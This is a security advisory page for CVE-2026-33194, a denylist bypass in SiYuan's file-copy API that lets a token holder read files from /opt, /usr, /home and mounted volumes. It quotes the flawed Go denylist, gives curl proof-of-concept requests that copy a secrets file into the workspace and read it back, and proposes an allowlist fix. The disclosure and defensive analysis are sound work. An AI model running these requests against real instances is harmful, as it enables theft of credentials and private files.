--- id: "CVE-2026-33194" page: "https://infrastack.ai/live/CVE-2026-33194" kind: "vulnerability" aliases: ["CVE-2026-33194", "GHSA-vm69-h85x-8p85"] title: "SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)" severity: "medium" cvss: 6.8 epss: 0.00508 exploited: false status: "open" category: "package" products: [{"name": "github.com/siyuan-note/siyuan/kernel", "fixed": ["3.6.2"], "affected": "<= 3.6.1", "ecosystem": "go"}, {"name": "b3log siyuan", "fixed": ["3.6.2"], "affected": "< 3.6.2", "ecosystem": "vendor"}] ecosystems: ["go", "vendor"] tags: ["cwe-22", "docker", "go", "package", "self-hosted", "siyuan"] not_affected_if: ["version-3.6.2-or-later"] published_at: "2026-03-18T20:10:44+00:00" first_seen_at: "2026-11-05T21:34:22+00:00" updated_at: "2026-11-05T21:40:46+00:00" sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vm69-h85x-8p85", "first_seen_at": "2026-11-05T21:34:22+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33194", "first_seen_at": "2026-11-05T21:40:46+00:00"}] exploit_sources: [{"type": "epss", "score": 0.00508, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33194"}] --- # SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass) Link for people: https://infrastack.ai/live/CVE-2026-33194 (this .md is for agents) SiYuan's file-copy endpoints check requested paths against a denylist that leaves out /opt, /usr, /home, /mnt and /media. An attacker holding the API token can copy files from those locations into the workspace and read them back. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - go:github.com/siyuan-note/siyuan/kernel affected <= 3.6.1 fixed 3.6.2 - vendor:b3log siyuan affected < 3.6.2 fixed 3.6.2 ## How to check - Check the SiYuan version: affected builds are `3.6.1` and earlier. - Check whether the API port (`6806` in the PoC) is reachable from outside the machine or container. - Check whether the Docker deployment mounts secrets or other volumes into the container. ## Fix - SiYuan kernel (`github.com/siyuan-note/siyuan/kernel`): `3.6.2` ## Timeline - 2026-11-05T21:34:22+00:00 ghsa https://github.com/advisories/GHSA-vm69-h85x-8p85 - 2026-11-05T21:40:46+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-33194 ## Documents - [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-vm69-h85x-8p85 - [advisory] Maintainer's advisory: github.com https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85 - [fix] Patch: github.com https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256b ## From the sources ## Summary The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. ## Details Current denylist in `kernel/util/path.go:391-405`: ```go prefixes := []string{ "/.", // dotfiles "/etc", // system config "/root", // root home "/var", // variable data "/proc", // process info "/sys", // sysfs "/run", // runtime data "/bin", // binaries "/boot", // boot files "/dev", // devices "/lib", // libraries "/srv", // service data "/tmp", // temp files } ``` **NOT blocked:** - `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself. - `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs - `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - `/mnt`, `/media` — mounted volumes, network shares, often containing secrets - `/snap` — snap package data - `/sbin`, `/lib64` — system binaries/libraries The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation: ```go if util.IsSensitivePath(absSrc) { // reject continue } // File is copied into workspace — then readable via /api/file/getFile ``` ## PoC ```bash # Read SiYuan's own application files from /opt (Docker deployment) curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}' # Then read the copied file from workspace curl -s 'http://127.0.0.1:6806/api/file/getFile' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"path":"data/assets/SiYuan-Kernel"}' # Read files from mounted volumes curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}' ``` ## Impact - Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets - The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked ## Recommended Fix Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths: ```go func IsSensitivePath(p string) bool { absPath := filepath.Clean(p) // Allowlist: only workspace and configured safe directories if strings.HasPrefix(absPath, WorkspaceDir) { // Block workspace-internal sensitive paths (conf/) if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) { return true } return false } // Everything outside workspace is sensitive by default return true } ``` --- _Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_